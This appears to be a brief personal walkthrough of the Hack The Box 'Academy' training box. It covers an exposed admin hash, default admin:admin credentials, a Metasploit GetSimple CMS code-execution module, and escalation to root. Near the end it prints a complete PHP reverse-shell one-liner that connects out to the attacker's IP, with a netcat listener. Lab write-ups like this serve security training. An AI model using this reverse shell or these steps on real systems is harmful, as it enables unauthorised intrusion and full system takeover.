> For the complete documentation index, see [llms.txt](https://shibudocs.gitbook.io/htb-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shibudocs.gitbook.io/htb-writeups/boxes-very-easy/academy.md).

# Academy

Personal Rating: Easy

For this Starting Point box I do not have much documentation.

At <http://10.129.70.149/data/users/admin.xml> there was some interesting information to be found:

```
<item>
<USR>admin</USR>
<NAME/>
<PWD>d033e22ae348aeb5660fc2140aec35850c4da997</PWD>
<EMAIL>admin@gettingstarted.com</EMAIL>
<HTMLEDITOR>1</HTMLEDITOR>
<TIMEZONE/>
<LANG>en_US</LANG>
</item>
```

I could also log into <http://10.129.70.149/admin/settings.php> with the very easy to guess credentials `admin:admin`

SSH with either of the two credential sets did not work

From the other information I had about the page and webserver I used searchsploit to find a likely vulnerability. This module worked to get a meterpreter shell: exploit/multi/http/getsimplecms\_unauth\_code\_exec

With that I could get a user shell as www-data

`sudo -l` shew me that php could be executed as admin from the www-data user (SUID binary), so I used this PHP reverse shell:

`sudo php -r '$sock=fsockopen("10.10.15.13",4488);exec("/bin/sh -i <&3 >&3 2>&3");'`

(with `sudo nc -lnvp 4488`) on my host

With that I already had a working shell on the box as root